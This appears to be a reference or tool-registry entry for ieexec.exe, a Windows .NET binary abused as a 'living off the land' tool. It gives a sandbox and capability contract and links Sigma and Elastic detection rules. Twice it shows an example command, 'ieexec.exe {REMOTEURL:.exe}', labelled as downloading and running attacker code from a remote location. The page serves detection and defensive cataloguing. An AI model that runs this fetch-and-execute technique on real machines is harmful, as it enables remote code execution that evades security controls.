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ieexec

The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL. Located at: C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe; C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe.

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ieexec
ieexec

Sandbox: execFile · Timeout: 30s

Capabilities

network.transfer.download
security.execution.command

Contract

Outputs

process.output

Command execution output

Side effects: network_trafficprocess_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

Downloads and executes executable from the remote server. (Download and run attacker code from remote location)

ieexec.exe {REMOTEURL:.exe}

Downloads and executes executable from the remote server. (Download and run attacker code from remote location)

ieexec.exe {REMOTEURL:.exe}

Detection

TypeRule / Indicator
sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_ieexec_download.yml
elastic https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
elastic https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
elastic https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
ioc Network connections originating from ieexec.exe may be suspicious

Documentation

ieexec

ieexec is a Windows LOLBin. The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL. Located at: C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe; C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe.

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